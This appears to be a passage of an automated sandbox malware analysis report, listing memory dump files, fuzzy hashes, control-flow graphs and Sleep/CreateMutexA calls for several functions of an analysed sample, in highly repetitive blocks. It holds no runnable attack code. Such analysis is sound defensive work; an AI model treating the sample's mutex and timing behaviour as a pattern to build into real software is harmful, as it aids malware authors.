                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 863dc28a02fc6fd9a7bc6898feb07259b691565ab784cadcf7c926f2c3bdbd88
                                                                                                                                                                                                                                                              • Instruction ID: 5dfdec2ec8e3f51c904ebcdbbd94d0fa727fcbbd59a903df50eb37ccdea1acaa
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 863dc28a02fc6fd9a7bc6898feb07259b691565ab784cadcf7c926f2c3bdbd88
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 2B3124316002049BEB0CAB7CDDCDBADBA72FF91314F248218E024EB2D5DB7589808A56
                                                                                                                                                                                                                                                              Function 0086A54D Relevance: 3.1, APIs: 2, Instructions: 132sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 383 86a54d-86a56d 387 86a56f-86a57b 383->387 388 86a59b-86a5b7 383->388 391 86a591-86a598 call 87d663 387->391 392 86a57d-86a58b 387->392 389 86a5e5-86a604 388->389 390 86a5b9-86a5c5 388->390 395 86a606-86a612 389->395 396 86a632-86a916 call 8780c0 389->396 393 86a5c7-86a5d5 390->393 394 86a5db-86a5e2 call 87d663 390->394 391->388 392->391 397 86a944-86a949 call 896c6a 392->397 393->394 393->397 394->389 401 86a614-86a622 395->401 402 86a628-86a62f call 87d663 395->402 409 86a94e-86a994 call 896c6a Sleep CreateMutexA 397->409 410 86a949 call 896c6a 397->410 401->397 401->402 402->396 417 86a996-86a998 409->417 418 86a9a7-86a9a8 409->418 410->409 417->418 419 86a99a-86a9a5 417->419 419->418
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNEL32(00000064), ref: 0086A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNEL32(00000000,00000000,008C3254), ref: 0086A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: dc4a40c1cc22137970a0446d13f08885962916db365fb9ec6a0a69ee628e311e
                                                                                                                                                                                                                                                              • Instruction ID: ee3876cf8b1b0b22f2912e7b9ebe1269a46ed5f3c3d4f7caed9cb2f8f8eff1ac
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: dc4a40c1cc22137970a0446d13f08885962916db365fb9ec6a0a69ee628e311e
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 9A3104716002048BEB0CEBBCD98DBADBB62FB95314F248218E055FB2D5C73589808B52
                                                                                                                                                                                                                                                              Function 0086A682 Relevance: 3.1, APIs: 2, Instructions: 131sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 421 86a682-86a6a2 425 86a6a4-86a6b0 421->425 426 86a6d0-86a6ec 421->426 427 86a6c6-86a6cd call 87d663 425->427 428 86a6b2-86a6c0 425->428 429 86a6ee-86a6fa 426->429 430 86a71a-86a739 426->430 427->426 428->427 433 86a949 428->433 435 86a710-86a717 call 87d663 429->435 436 86a6fc-86a70a 429->436 431 86a767-86a916 call 8780c0 430->431 432 86a73b-86a747 430->432 437 86a75d-86a764 call 87d663 432->437 438 86a749-86a757 432->438 439 86a94e-86a994 call 896c6a Sleep CreateMutexA 433->439 440 86a949 call 896c6a 433->440 435->430 436->433 436->435 437->431 438->433 438->437 453 86a996-86a998 439->453 454 86a9a7-86a9a8 439->454 440->439 453->454 455 86a99a-86a9a5 453->455 455->454
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNEL32(00000064), ref: 0086A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNEL32(00000000,00000000,008C3254), ref: 0086A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 02a47a485a6c451a22b22638710dc5ba8daeab1c40dbabdad6dd26b896981e08
                                                                                                                                                                                                                                                              • Instruction ID: 79754928974cfa3079d1906872ceb62166e486345744e689fd271702bb90854b
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 02a47a485a6c451a22b22638710dc5ba8daeab1c40dbabdad6dd26b896981e08
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 8F3123717002058BEB0C9B7CDD89BADBB72FB95320F248228E164FB2D5C73589808B52
                                                                                                                                                                                                                                                              Function 00869ADC Relevance: 3.1, APIs: 2, Instructions: 107sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 457 869adc-869ae8 458 869afe-869d91 call 87d663 call 877a00 call 865c10 call 868b30 call 878220 call 877a00 call 865c10 call 868b30 call 878220 457->458 459 869aea-869af8 457->459 459->458 460 86a917 459->460 462 86a953-86a994 Sleep CreateMutexA 460->462 463 86a917 call 896c6a 460->463 468 86a996-86a998 462->468 469 86a9a7-86a9a8 462->469 463->462 468->469 471 86a99a-86a9a5 468->471 471->469
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNEL32(00000064), ref: 0086A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNEL32(00000000,00000000,008C3254), ref: 0086A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 5ed71e56248984bd9be217825a76391fe63fe66061aceb1c45aaa3fc5685cd6d
                                                                                                                                                                                                                                                              • Instruction ID: bbbb0f682a3a2e2e36d5bfe6e4e4a7b0fae7c64fb8576987cfb2d45256181371
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5ed71e56248984bd9be217825a76391fe63fe66061aceb1c45aaa3fc5685cd6d
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 312167317042049BEB189B6CECC9BADB775FBD1310F20822DE568EB3D5CB7589808B52
                                                                                                                                                                                                                                                              Function 0086A856 Relevance: 3.1, APIs: 2, Instructions: 100sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 525 86a856-86a86e 526 86a870-86a87c 525->526 527 86a89c-86a89e 525->527 528 86a892-86a899 call 87d663 526->528 529 86a87e-86a88c 526->529 530 86a8a0-86a8a7 527->530 531 86a8a9-86a8b1 call 867d30 527->531 528->527 529->528 532 86a94e-86a987 call 896c6a Sleep CreateMutexA 529->532 534 86a8eb-86a916 call 8780c0 530->534 542 86a8e4-86a8e6 531->542 543 86a8b3-86a8bb call 867d30 531->543 546 86a98e-86a994 532->546 542->534 543->542 547 86a8bd-86a8c5 call 867d30 543->547 548 86a996-86a998 546->548 549 86a9a7-86a9a8 546->549 547->542 553 86a8c7-86a8cf call 867d30 547->553 548->549 551 86a99a-86a9a5 548->551 551->549 553->542 557 86a8d1-86a8d9 call 867d30 553->557 557->542 560 86a8db-86a8e2 557->560 560->534
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNEL32(00000064), ref: 0086A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNEL32(00000000,00000000,008C3254), ref: 0086A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
